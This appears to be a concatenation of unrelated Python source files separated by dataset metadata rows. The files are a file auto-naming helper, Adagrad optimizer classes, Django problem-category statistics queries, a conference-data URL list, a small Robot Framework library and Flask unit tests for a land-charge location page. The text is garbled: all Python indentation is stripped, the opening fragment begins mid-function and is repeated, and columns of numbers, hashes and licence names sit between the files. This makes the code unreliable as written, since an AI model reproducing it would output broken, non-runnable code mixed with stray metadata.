pre='(?<=%s)'%(myparts[i]) if len(myparts[i]) else ''
suf='(?=%s)'%(myparts[i+1]) if len(myparts[i+1]) else ''
reg='%s.*?%s'%(pre,suf)
res=re.findall(reg,text)
if not len(res):
print("reg not find in text:", reg,text)
return None
res=res[0]
reses.append(res)
myparts[i+1]=myparts[i]+res+myparts[i+1]
if not len(reses)==len(parts)-1:return None
return reses
for item in items:
numbers = find_all_parts(item)
if not numbers:
continue
# print("numbers:",numbers)
indexes.append(numbers)
def get_max_index(indexes):
# print(indexes)
for i in range(len(indexes[0])):
indexes.sort(key=lambda index:index[i])
tmp=find_those_who(indexes,key=lambda index:index[i]==indexes[-1][i])
indexes=tmp
return indexes[0]
if len(indexes):
new_index=get_max_index(indexes)
# print(new_index)
# new_index[-1]=str(int(new_index[-1])+1)
path = fill_string_with_list(pattern, new_index, '*')
else:
path=None
return path
# x=auto_name(dir='data/test/result')
# x=auto_name(pattern='data/test/result/*_*_*.jpg')
# x=get_max_path(dir='data/test/result/')
# print(x)
import glob,os,re
def count(arr,sort=True):
items=set(arr)
counts=[0]*len(items)
for i,el in enumerate(arr):
for j,item in enumerate(items):
if el==item:
counts[j]+=1
res=list(zip(items,counts))
if sort:
res.sort(key=lambda item:item[1],reverse=True)
return res
def count_to_dict(arr):
return {k:v for k,v in count(arr)}
def fill_string_with_list(text,list,replace_char='*'):
for l in list:
text=text.replace(replace_char,str(l),1)
return text
def find_those_who(list,key):
new=[]
for i in list:
if key(i):new.append(i)
return new
def auto_name(pattern='*.jpg',dir=None):
if dir:
ptn=find_path_pattern(dir)
return auto_name(pattern=ptn)
else:
items=glob.glob(pattern)
indexes=[]
parts = pattern.split('*')
def find_all_parts(text):
myparts=parts.copy()
reses=[]
for i in range(len(myparts)-1):
pre='(?<=%s)'%(myparts[i]) if len(myparts[i]) else ''
suf='(?=%s)'%(myparts[i+1]) if len(myparts[i+1]) else ''
reg='%s[0-9]*?%s'%(pre,suf)
res=re.findall(reg,text)
if not len(res):
print("reg not find in text:", reg,text)
return None
res=res[0]
reses.append(res)
myparts[i+1]=myparts[i]+res+myparts[i+1]
if not len(reses)==len(parts)-1:return None
return reses
for item in items:
numbers = find_all_parts(item)
if not numbers:
continue
# print("numbers:",numbers)
indexes.append(numbers)
def get_max_index(indexes):
# print(indexes)
for i in range(len(indexes[0])):
indexes.sort(key=lambda index:index[i])
tmp=find_those_who(indexes,key=lambda index:index[i]==indexes[-1][i])
indexes=tmp
return indexes[0]
if len(indexes):
new_index=get_max_index(indexes)
new_index[-1]=str(int(new_index[-1])+1)
else:
new_index=[0]
path=fill_string_with_list(pattern,new_index,'*')
return path
def find_path_pattern(dir):
items = glob.glob(dir + '/*')
ptns = []
for item in items:
nums = re.findall('[0-9]{1,}', item)
if not len(nums): continue
ptn = item
for num in nums:
ptn = ptn.replace(num, '*', 1)
ptns.append(ptn)
if not len(ptns):
ptns.append('*.jpg')
counts = count(ptns)
if not counts:return None
ptn = counts[0][0]
return ptn
def get_max_path(pattern='*.jpg',dir=None):
if dir:
ptn=find_path_pattern(dir=dir)
return get_max_path(pattern=ptn)
else:
items=glob.glob(pattern)
indexes=[]
parts = pattern.split('*')
def find_all_parts(text):
myparts=parts.copy()
reses=[]
for i in range(len(myparts)-1):
pre='(?<=%s)'%(myparts[i]) if len(myparts[i]) else ''
suf='(?=%s)'%(myparts[i+1]) if len(myparts[i+1]) else ''
reg='%s[0-9]*?%s'%(pre,suf)
res=re.findall(reg,text)
if not len(res):
print("reg not find in text:", reg,text)
return None
res=res[0]
reses.append(res)
myparts[i+1]=myparts[i]+res+myparts[i+1]
if not len(reses)==len(parts)-1:return None
return reses
for item in items:
numbers = find_all_parts(item)
if not numbers:
continue
# print("numbers:",numbers)
indexes.append(numbers)
def get_max_index(indexes):
# print(indexes)
for i in range(len(indexes[0])):
indexes.sort(key=lambda index:index[i])
tmp=find_those_who(indexes,key=lambda index:index[i]==indexes[-1][i])
indexes=tmp
return indexes[0]
if len(indexes):
new_index=get_max_index(indexes)
# print(new_index)
# new_index[-1]=str(int(new_index[-1])+1)
path = fill_string_with_list(pattern, new_index, '*')
else:
path=None
return path
# x=auto_name(dir='data/test/result')
# x=auto_name(pattern='data/test/result/*_*_*.jpg')
# x=get_max_path(dir='data/test/result/')
# print(x)
| 33.977695
| 85
| 0.521663
| 1,218
| 9,140
| 3.811166
| 0.070608
| 0.048255
| 0.031021
| 0.018957
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0.012888
| 0.337856
| 9,140
| 269
| 86
| 33.977695
| 0.754131
| 0.059847
| 0
| 1
| 0
| 0
| 0.027532
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.090164
| false
| 0
| 0.008197
| 0.008197
| 0.221311
| 0.016393
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
84ade3c78a7039a0c6978925fcb68af5cf8371f8
| 3,131
|
py
|
Python
|
bitsandbytes/optim/adagrad.py
|
acarapetis/bitsandbytes
|
4e60e7dc62c50b6ba9b6becf6e779a1d48906be2
|
[
"MIT"
] | 438
|
2021-10-07T01:43:58.000Z
|
2022-03-31T12:39:23.000Z
|
bitsandbytes/optim/adagrad.py
|
acarapetis/bitsandbytes
|
4e60e7dc62c50b6ba9b6becf6e779a1d48906be2
|
[
"MIT"
] | 21
|
2021-10-10T09:09:54.000Z
|
2022-03-25T16:23:00.000Z
|
bitsandbytes/optim/adagrad.py
|
acarapetis/bitsandbytes
|
4e60e7dc62c50b6ba9b6becf6e779a1d48906be2
|
[
"MIT"
] | 27
|
2021-10-06T23:43:17.000Z
|
2022-02-23T19:23:44.000Z
|
# Copyright (c) Facebook, Inc. and its affiliates.
#
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
import torch
from bitsandbytes.optim.optimizer import Optimizer1State
torch.optim.Adagrad
class Adagrad(Optimizer1State):
def __init__(self, params, lr=1e-2, lr_decay=0, weight_decay=0, initial_accumulator_value=0, eps=1e-10,
optim_bits=32, args=None, min_8bit_size=4096, percentile_clipping=100, block_wise=True):
if not 0.0 <= lr:
raise ValueError("Invalid learning rate: {}".format(lr))
if not 0.0 <= weight_decay:
raise ValueError("Invalid weight_decay value: {}".format(weight_decay))
if not 0.0 <= eps:
raise ValueError("Invalid epsilon value: {}".format(eps))
if initial_accumulator_value != 0.0:
raise ValueError('Initial accumulator value != 0.0 not supported!')
if lr_decay != 0.0:
raise ValueError('Lr Decay != 0.0 not supported!')
super(Adagrad, self).__init__('adagrad', params, lr, (0.0, 0.0), eps,
weight_decay, optim_bits, args, min_8bit_size, percentile_clipping, block_wise)
class Adagrad8bit(Optimizer1State):
def __init__(self, params, lr=1e-2, lr_decay=0, weight_decay=0, initial_accumulator_value=0, eps=1e-10,
optim_bits=8, args=None, min_8bit_size=4096, percentile_clipping=100, block_wise=True):
if not 0.0 <= lr:
raise ValueError("Invalid learning rate: {}".format(lr))
if not 0.0 <= weight_decay:
raise ValueError("Invalid weight_decay value: {}".format(weight_decay))
if not 0.0 <= eps:
raise ValueError("Invalid epsilon value: {}".format(eps))
if initial_accumulator_value != 0.0:
raise ValueError('Initial accumulator value != 0.0 not supported!')
if lr_decay != 0.0:
raise ValueError('Lr Decay != 0.0 not supported!')
assert block_wise
super(Adagrad8bit, self).__init__('adagrad', params, lr, (0.0, 0.0), eps,
weight_decay, 8, args, min_8bit_size, percentile_clipping, block_wise)
class Adagrad32bit(Optimizer1State):
def __init__(self, params, lr=1e-2, lr_decay=0, weight_decay=0, initial_accumulator_value=0, eps=1e-10,
optim_bits=32, args=None, min_8bit_size=4096, percentile_clipping=100, block_wise=True):
if not 0.0 <= lr:
raise ValueError("Invalid learning rate: {}".format(lr))
if not 0.0 <= weight_decay:
raise ValueError("Invalid weight_decay value: {}".format(weight_decay))
if not 0.0 <= eps:
raise ValueError("Invalid epsilon value: {}".format(eps))
if initial_accumulator_value != 0.0:
raise ValueError('Initial accumulator value != 0.0 not supported!')
if lr_decay != 0.0:
raise ValueError('Lr Decay != 0.0 not supported!')
super(Adagrad32bit, self).__init__('adagrad', params, lr, (0.0, 0.0), eps,
weight_decay, 32, args, min_8bit_size, percentile_clipping, block_wise)
| 53.982759
| 107
| 0.651868
| 428
| 3,131
| 4.567757
| 0.17757
| 0.030691
| 0.036829
| 0.110486
| 0.840921
| 0.840921
| 0.840921
| 0.840921
| 0.819437
| 0.771356
| 0
| 0.051059
| 0.230597
| 3,131
| 57
| 108
| 54.929825
| 0.760482
| 0.055254
| 0
| 0.714286
| 0
| 0
| 0.16661
| 0
| 0
| 0
| 0
| 0
| 0.020408
| 1
| 0.061224
| false
| 0
| 0.040816
| 0
| 0.163265
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
84b10bd5509806828597505e50d9e0e28db64b54
| 112
|
py
|
Python
|
weatherapp/core/commands/__init__.py
|
midasinc/weatherapp.core
|
583f4687ba706d8159a506e844d7630645f39f07
|
[
"MIT"
] | null | null | null |
weatherapp/core/commands/__init__.py
|
midasinc/weatherapp.core
|
583f4687ba706d8159a506e844d7630645f39f07
|
[
"MIT"
] | null | null | null |
weatherapp/core/commands/__init__.py
|
midasinc/weatherapp.core
|
583f4687ba706d8159a506e844d7630645f39f07
|
[
"MIT"
] | 1
|
2019-01-28T17:22:09.000Z
|
2019-01-28T17:22:09.000Z
|
from weatherapp.core.commands.config import Configurate
from weatherapp.core.commands.providers import Providers
| 56
| 56
| 0.883929
| 14
| 112
| 7.071429
| 0.571429
| 0.282828
| 0.363636
| 0.525253
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.0625
| 112
| 2
| 56
| 56
| 0.942857
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
ca6a5a4d43ac796d2a5022c3720e6a72b9b17466
| 8,237
|
py
|
Python
|
database/query/category.py
|
KWY-Q/SDUST-ACMER
|
76796f975edbea379adb1ebec1d654ed88a38d36
|
[
"MIT"
] | 2
|
2017-03-02T13:44:40.000Z
|
2019-02-12T09:41:11.000Z
|
database/query/category.py
|
KWY-Q/SDUST-ACMER
|
76796f975edbea379adb1ebec1d654ed88a38d36
|
[
"MIT"
] | 1
|
2018-10-26T09:09:34.000Z
|
2018-10-26T09:09:34.000Z
|
database/query/category.py
|
KWY-Q/SDUST-ACMER
|
76796f975edbea379adb1ebec1d654ed88a38d36
|
[
"MIT"
] | 1
|
2018-10-26T09:04:37.000Z
|
2018-10-26T09:04:37.000Z
|
from ..models import ProblemCategory as __Category
from ..models import User as __User
from ..models import ProblemUserRelation as __ProblemUserRelation
from .util import first_one as __database_get
from .util import to_dict as __to_dict
from .util import to_list as __to_list
def get_category_basic(cat_name):
"""
获取指定目录的基本信息。
:param cat_name:
:return: 如果目录存在，返回包含目录信息的字典，否则返回None
"""
ret = __database_get(__Category, name=cat_name)
return __to_dict(ret)
def get_category_children(cat_name):
"""
获取指定目录下的所有子目录基本信息。
:param cat_name:
:return:
"""
cat = __Category.objects.filter(name=cat_name).first()
if cat is None:
return {'length': 0, 'slice': []}
ret = cat.category.all()
return __to_list(ret, get_all=True)
def get_category_problem(cat_name):
"""
获取指定目录下直接相关的问题。
:param cat_name:
:return:
"""
cat = __Category.objects.filter(name=cat_name).first()
if cat is None:
return {'length': 0, 'slice': []}
problems = cat.problem.filter(category_relation__direct=True)
return __to_list(problems, get_all=True)
def get_category_basic_analysis(cat_name, username):
"""
获取指定目录的基本信息,，并按照用户进行统计
:param cat_name:
:param username:
:return: 如果目录存在，返回包含目录信息的字典，否则返回None
"""
cat = __Category.objects.filter(name=cat_name).first()
user = __User.objects.filter(username=username).first()
if user is None or cat is None:
return None
query_dict = {}
relation = __ProblemUserRelation.objects.filter(user=user).values('problem_id', 'solved').distinct()
for i in relation:
query_dict[i['problem_id']] = i['solved']
problems = cat.problem.values('id').distinct()
num_solved = 0
num_tried = 0
num_all = 0
for problem in problems:
if problem['id'] in query_dict:
if query_dict[problem['id']] is True:
num_solved += 1
num_tried += 1
num_all += 1
return {
'name': cat.name,
'caption': cat.caption,
'num_solved': num_solved,
'num_tried': num_tried,
'num_all': num_all
}
def get_category_basic_analysis_users(cat_name, *args):
cat = __Category.objects.filter(name=cat_name).first()
if cat is None:
return None
problems = cat.problem.values('id').distinct()
ret = []
for username in args:
user = __User.objects.filter(username=username).first()
if user is None or cat is None:
ret.append({
'num_solved': 0,
'num_tried': 0,
'num_all': 0
})
query_dict = {}
relation = __ProblemUserRelation.objects.filter(user=user).values('problem_id', 'solved').distinct()
for i in relation:
query_dict[i['problem_id']] = i['solved']
num_solved = 0
num_tried = 0
num_all = 0
for problem in problems:
if problem['id'] in query_dict:
if query_dict[problem['id']] is True:
num_solved += 1
num_tried += 1
num_all += 1
ret.append({
'num_solved': num_solved,
'num_tried': num_tried,
'num_all': num_all
})
return {
'name': cat.name,
'caption': cat.caption,
'user_result': ret
}
def get_category_children_analysis(cat_name, username):
"""
获取指定目录下的所有子目录基本信息，并按照用户进行统计。
:param cat_name:
:param username :
:return:
"""
cat = __Category.objects.filter(name=cat_name).first()
user = __User.objects.filter(username=username).first()
if user is None or cat is None:
return []
query_dict = {}
relation = __ProblemUserRelation.objects.filter(user=user).values('problem_id', 'solved').distinct()
for i in relation:
query_dict[i['problem_id']] = i['solved']
cats = cat.category.all()
ret = []
for category in cats:
problems = category.problem.values('id').distinct()
num_solved = 0
num_tried = 0
num_all = 0
for problem in problems:
if problem['id'] in query_dict:
if query_dict[problem['id']] is True:
num_solved += 1
num_tried += 1
num_all += 1
ret.append({
'name': category.name,
'caption': category.caption,
'num_solved': num_solved,
'num_tried': num_tried,
'num_all': num_all
})
return ret
def get_category_children_analysis_users(cat_name, *args):
cat = __Category.objects.filter(name=cat_name).first()
if cat is None:
return None
cats = cat.category.all()
ret = []
for category in cats:
problems = category.problem.values('id').distinct()
user_ret = []
for username in args:
user = __User.objects.filter(username=username).first()
if user is None:
user_ret.append({
'num_solved': 0,
'num_tried': 0,
'num_all': 0
})
query_dict = {}
relation = __ProblemUserRelation.objects.filter(user=user).values('problem_id', 'solved').distinct()
for i in relation:
query_dict[i['problem_id']] = i['solved']
num_solved = 0
num_tried = 0
num_all = 0
for problem in problems:
if problem['id'] in query_dict:
if query_dict[problem['id']] is True:
num_solved += 1
num_tried += 1
num_all += 1
user_ret.append({
'num_solved': num_solved,
'num_tried': num_tried,
'num_all': num_all
})
ret.append({
'name': category.name,
'caption': category.caption,
'user_result': user_ret
})
return ret
def get_category_user_problem(cat_name, username):
"""
获取直接在指定目录下的用户AC的题目、尚未AC的题目和尚未做过的题目的情况
:param cat_name:
:param username:
:return:
"""
cat = __Category.objects.filter(name=cat_name).first()
user = __User.objects.filter(username=username).first()
if user is None or cat is None:
return {'solved': [], 'not_solved': [], 'not_tried': []}
query_dict = {}
relation = __ProblemUserRelation.objects.filter(user=user).values('problem_id', 'solved').distinct()
for i in relation:
query_dict[i['problem_id']] = i['solved']
problems = cat.problem.filter(category_relation__direct=True).values('id', 'title')
solved = []
not_solved = []
not_tried = []
for i in problems:
if i['id'] in query_dict:
if query_dict[i['id']] is True:
solved.append(i)
else:
not_solved.append(i)
else:
not_tried.append(i)
return {'solved': solved, 'not_solved': not_solved, 'not_tried': not_tried}
def get_category_user_problem_users(cat_name, *args):
cat = __Category.objects.filter(name=cat_name).first()
if cat is None:
return None
ret = []
problems = cat.problem.filter(category_relation__direct=True).values('id', 'title')
for username in args:
user = __User.objects.filter(username=username).first()
if user is None or cat is None:
ret.append({'solved': [], 'not_solved': [], 'not_tried': []})
query_dict = {}
relation = __ProblemUserRelation.objects.filter(user=user).values('problem_id', 'solved').distinct()
for i in relation:
query_dict[i['problem_id']] = i['solved']
solved = []
not_solved = []
not_tried = []
for i in problems:
if i['id'] in query_dict:
if query_dict[i['id']] is True:
solved.append(i)
else:
not_solved.append(i)
else:
not_tried.append(i)
ret.append({'solved': solved, 'not_solved': not_solved, 'not_tried': not_tried})
return ret
| 27.006557
| 112
| 0.57011
| 969
| 8,237
| 4.588235
| 0.072239
| 0.040936
| 0.027215
| 0.043185
| 0.857175
| 0.828385
| 0.796896
| 0.773504
| 0.744714
| 0.744714
| 0
| 0.005648
| 0.312128
| 8,237
| 304
| 113
| 27.095395
| 0.779033
| 0.048683
| 0
| 0.843137
| 0
| 0
| 0.075732
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.044118
| false
| 0
| 0.029412
| 0
| 0.156863
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
ca7930d11814c45d5d77f75da19c6c8959af8d8c
| 292
|
py
|
Python
|
plynx/web/__init__.py
|
plynx-team/plynx
|
4b53ca3500c629f1c0201cc8f4910a1f2a276a32
|
[
"Apache-2.0"
] | 100
|
2020-03-12T05:14:48.000Z
|
2022-03-30T09:26:53.000Z
|
plynx/web/__init__.py
|
plynx-team/plynx
|
4b53ca3500c629f1c0201cc8f4910a1f2a276a32
|
[
"Apache-2.0"
] | 48
|
2020-03-12T00:54:51.000Z
|
2022-03-15T02:52:14.000Z
|
plynx/web/__init__.py
|
plynx-team/plynx
|
4b53ca3500c629f1c0201cc8f4910a1f2a276a32
|
[
"Apache-2.0"
] | 24
|
2020-04-23T03:14:37.000Z
|
2022-03-27T12:10:49.000Z
|
# flake8: noqa
from plynx.web.common import app, verify_password, authenticate, requires_auth, register_user, make_fail_response, run_api
import plynx.web.node
import plynx.web.resource
import plynx.web.user
import plynx.web.state
import plynx.web.health
from gevent.pywsgi import WSGIServer
| 32.444444
| 122
| 0.835616
| 45
| 292
| 5.288889
| 0.6
| 0.201681
| 0.294118
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.003774
| 0.092466
| 292
| 8
| 123
| 36.5
| 0.89434
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|
0
| 7
|
0474e5ee4249578e9a9c7449b0c0dd31299b1616
| 149
|
py
|
Python
|
atest/testresources/testlibs/pythonmodule/submodule/sublib.py
|
phil-davis/robotframework
|
4d4ce686cbe01e293bb86ea6ff34330e8c45fc43
|
[
"ECL-2.0",
"Apache-2.0"
] | 7,073
|
2015-01-01T17:19:16.000Z
|
2022-03-31T22:01:29.000Z
|
atest/testresources/testlibs/pythonmodule/submodule/sublib.py
|
phil-davis/robotframework
|
4d4ce686cbe01e293bb86ea6ff34330e8c45fc43
|
[
"ECL-2.0",
"Apache-2.0"
] | 2,412
|
2015-01-02T09:29:05.000Z
|
2022-03-31T13:10:46.000Z
|
atest/testresources/testlibs/pythonmodule/submodule/sublib.py
|
phil-davis/robotframework
|
4d4ce686cbe01e293bb86ea6ff34330e8c45fc43
|
[
"ECL-2.0",
"Apache-2.0"
] | 2,298
|
2015-01-03T02:47:15.000Z
|
2022-03-31T02:00:16.000Z
|
def keyword_from_deeper_submodule():
return 'hi again'
class Sub:
def keyword_from_class_in_deeper_submodule(self):
return 'bye'
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| 53
| 0.718121
| 20
| 149
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| 149
| 9
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|
0
| 7
|
04b93455aac7c09c36eac4a92b591a61e5aac74c
| 6,063
|
py
|
Python
|
web/events/management/sources.py
|
vtalks/vtalks.net
|
80fb19ff9684e0854c6abe5f0eef73e80ec326a6
|
[
"Apache-2.0"
] | 1
|
2017-11-28T03:17:23.000Z
|
2017-11-28T03:17:23.000Z
|
web/events/management/sources.py
|
vtalks/vtalks.net
|
80fb19ff9684e0854c6abe5f0eef73e80ec326a6
|
[
"Apache-2.0"
] | 56
|
2018-01-14T18:03:03.000Z
|
2018-06-25T17:59:02.000Z
|
web/events/management/sources.py
|
vtalks/vtalks.net
|
80fb19ff9684e0854c6abe5f0eef73e80ec326a6
|
[
"Apache-2.0"
] | null | null | null |
source_urls = {
"2014": [
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"https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2014/ruby.json",
"https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2014/ux.json",
],
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"https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2015/ux.json",
],
"2016": [
"https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2016/ruby.json",
"https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2016/ux.json",
],
"2017": [
"https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2017/javascript.json",
"https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2017/android.json",
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],
"2018": [
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],
"2019": [
"https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2019/javascript.json",
"https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2019/android.json",
"https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2019/css.json",
"https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2019/data.json",
"https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2019/devops.json",
"https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2019/elixir.json",
"https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2019/general.json",
"https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2019/golang.json",
"https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2019/ios.json",
"https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2019/php.json",
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"https://raw.githubusercontent.com/tech-conferences/conference-data/master/conferences/2019/ux.json",
]
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source_urls_javascript = {
}
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0
| 10
|
ca0125f63ff8845e92fa1da8f0f095eeff20facb
| 27,122
|
py
|
Python
|
unit_tests/add_land_charge/test_location.py
|
LandRegistry/maintain-frontend
|
d92446a9972ebbcd9a43a7a7444a528aa2f30bf7
|
[
"MIT"
] | 1
|
2019-10-03T13:58:29.000Z
|
2019-10-03T13:58:29.000Z
|
unit_tests/add_land_charge/test_location.py
|
LandRegistry/maintain-frontend
|
d92446a9972ebbcd9a43a7a7444a528aa2f30bf7
|
[
"MIT"
] | null | null | null |
unit_tests/add_land_charge/test_location.py
|
LandRegistry/maintain-frontend
|
d92446a9972ebbcd9a43a7a7444a528aa2f30bf7
|
[
"MIT"
] | 1
|
2021-04-11T05:24:57.000Z
|
2021-04-11T05:24:57.000Z
|
from maintain_frontend import main
from flask_testing import TestCase
from unit_tests.utilities import Utilities
from flask import url_for
from unittest.mock import patch
from maintain_frontend.dependencies.session_api.session import Session
from maintain_frontend.models import LocalLandChargeItem
from maintain_frontend.constants.permissions import Permissions
from maintain_frontend.exceptions import ApplicationError
import json
class TestLocation(TestCase):
def create_app(self):
main.app.testing = True
Utilities.mock_session_cookie_flask_test(self)
return main.app
def setUp(self):
main.app.config['Testing'] = True
main.app.config['WTF_CSRF_ENABLED'] = False
def test_add_location_redirects_to_new(self):
self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value')
self.mock_session.return_value.add_charge_state = None
self.mock_session.return_value.user.permissions = [Permissions.add_llc]
response = self.client.get(url_for('add_land_charge.get_location'))
self.assert_status(response, 302)
self.assertRedirects(response, url_for('add_land_charge.new'))
def test_add_location_renders(self):
self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value')
state = LocalLandChargeItem()
self.mock_session.return_value.add_charge_state = state
self.mock_session.return_value.user.permissions = [Permissions.add_llc]
response = self.client.get(url_for('add_land_charge.get_location'))
self.assertStatus(response, 200)
self.assert_template_used('location.html')
self.assertFalse(self.mock_session.return_value.charge_added_outside_users_authority)
def test_add_location_renders_with_previous_data(self):
self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value')
input = '{"type":"FeatureCollection",' \
'"features":[' \
'{"type":"Feature",' \
'"geometry":{' \
'"type":"Polygon",' \
'"coordinates":[' \
'[[511076.08598934463,381319.1389185938],' \
'[502935.0162093069,344754.81621829123],' \
'[460299.51643357374,365124.6766137525],' \
'[478395.29646112275,392099.3797708411],' \
'[511076.08598934463,381319.1389185938]]]},' \
'"properties":{"id":1}}]}'
state = LocalLandChargeItem()
state.geometry = input
self.mock_session.return_value.add_charge_state = state
self.mock_session.return_value.user.permissions = [Permissions.add_llc]
response = self.client.get(url_for('add_land_charge.get_location'))
self.assertStatus(response, 200)
self.assert_template_used('location.html')
self.assertIn('load_previous_data', response.data.decode())
self.assertFalse(self.mock_session.return_value.charge_added_outside_users_authority)
def test_add_location_post_redirects_to_new_when_state_none(self):
self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value')
input = '{"type":"FeatureCollection",' \
'"features":[' \
'{"type":"Feature",' \
'"geometry":{' \
'"type":"Polygon",' \
'"coordinates":[' \
'[[511076.08598934463,381319.1389185938],' \
'[502935.0162093069,344754.81621829123],' \
'[460299.51643357374,365124.6766137525],' \
'[478395.29646112275,392099.3797708411],' \
'[511076.08598934463,381319.1389185938]]]},' \
'"properties":{"id":1}}]}'
self.mock_session.return_value.add_charge_state = None
self.mock_session.return_value.user.permissions = [Permissions.add_llc]
response = self.client.post(url_for('add_land_charge.post_location'), data={'saved-features': input})
self.assert_status(response, 302)
self.assertRedirects(response, url_for('add_land_charge.new'))
def test_add_location_post_returns_required_validation(self):
self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value')
state = LocalLandChargeItem()
self.mock_session.return_value.add_charge_state = state
self.mock_session.return_value.user.permissions = [Permissions.add_llc]
response = self.client.post(url_for('add_land_charge.post_location'), data={'saved-features': None})
self.assert_status(response, 400)
self.assert_template_used('location.html')
self.assertIn('is required', response.data.decode())
def test_add_location_post_returns_count_validation(self):
self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value')
input_json = {"type": "FeatureCollection", "features": []}
feature = {"type": "Feature",
"geometry": {
"type": "Polygon",
"coordinates": [
[[511076.08598934463, 381319.1389185938],
[502935.0162093069, 344754.81621829123],
[460299.51643357374, 365124.6766137525],
[478395.29646112275, 392099.3797708411],
[511076.08598934463, 381319.1389185938]]
]},
"properties": {"id": 1}
}
for _ in range(0, 501):
input_json['features'].append(feature)
input = json.dumps(input_json)
state = LocalLandChargeItem()
self.mock_session.return_value.add_charge_state = state
self.mock_session.return_value.user.permissions = [Permissions.add_llc]
response = self.client.post(url_for('add_land_charge.post_location'), data={'saved-features': input})
self.assert_status(response, 400)
self.assert_template_used('location.html')
self.assertIn('Delete a boundary to continue', response.data.decode())
@patch('maintain_frontend.add_land_charge.location.ReviewRouter')
def test_post_with_add_anywhere_permission_succeeds_when_data_set(self, mock_review_router):
self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value')
mock_review_router.get_redirect_url.return_value = url_for('add_land_charge.get_address_for_charge')
input = '{"type":"FeatureCollection",' \
'"features":[' \
'{"type":"Feature",' \
'"geometry":{' \
'"type":"Polygon",' \
'"coordinates":[' \
'[[511076.08598934463,381319.1389185938],' \
'[502935.0162093069,344754.81621829123],' \
'[460299.51643357374,365124.6766137525],' \
'[478395.29646112275,392099.3797708411],' \
'[511076.08598934463,381319.1389185938]]]},' \
'"properties":{"id":1}}]}'
state = LocalLandChargeItem()
self.mock_session.return_value.add_charge_state = state
self.mock_session.return_value.user.permissions = [Permissions.add_llc, Permissions.add_extent_anywhere]
response = self.client.post(url_for('add_land_charge.post_location'), data={'saved-features': input})
mock_review_router.update_edited_field.assert_called_with(
'geometry', json.loads(input.strip())
)
self.assert_status(response, 302)
self.assertRedirects(response, url_for('add_land_charge.get_address_for_charge'))
@patch('maintain_frontend.add_land_charge.location.ReviewRouter')
def test_post_with_add_anywhere_permission_succeeds_when_address_data_set(self, mock_review_router):
self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value')
mock_review_router.get_redirect_url.return_value = url_for('add_land_charge.get_address_confirmation')
input = '{"type":"FeatureCollection",' \
'"features":[' \
'{"type":"Feature",' \
'"geometry":{' \
'"type":"Polygon",' \
'"coordinates":[' \
'[[511076.08598934463,381319.1389185938],' \
'[502935.0162093069,344754.81621829123],' \
'[460299.51643357374,365124.6766137525],' \
'[478395.29646112275,392099.3797708411],' \
'[511076.08598934463,381319.1389185938]]]},' \
'"properties":{"id":1}}]}'
selected_address = {
'address': 'display address',
'line_1': 'Flat 1',
'line_2': 'Place',
'line_3': 'Holder',
'line_4': 'Flat 1',
'line_5': 'Flat 1',
'line_6': 'Flat 1',
'postcode': 'postcode',
'uprn': 123456789
}
state = LocalLandChargeItem()
self.mock_session.return_value.add_charge_state = state
self.mock_session.return_value.user.permissions = [Permissions.add_llc, Permissions.add_extent_anywhere]
response = self.client.post(url_for('add_land_charge.post_location'), data={
'saved-features': input,
'selected-address': json.dumps(selected_address)
})
mock_review_router.update_edited_field.assert_called_with(
'geometry', json.loads(input.strip())
)
self.assert_status(response, 302)
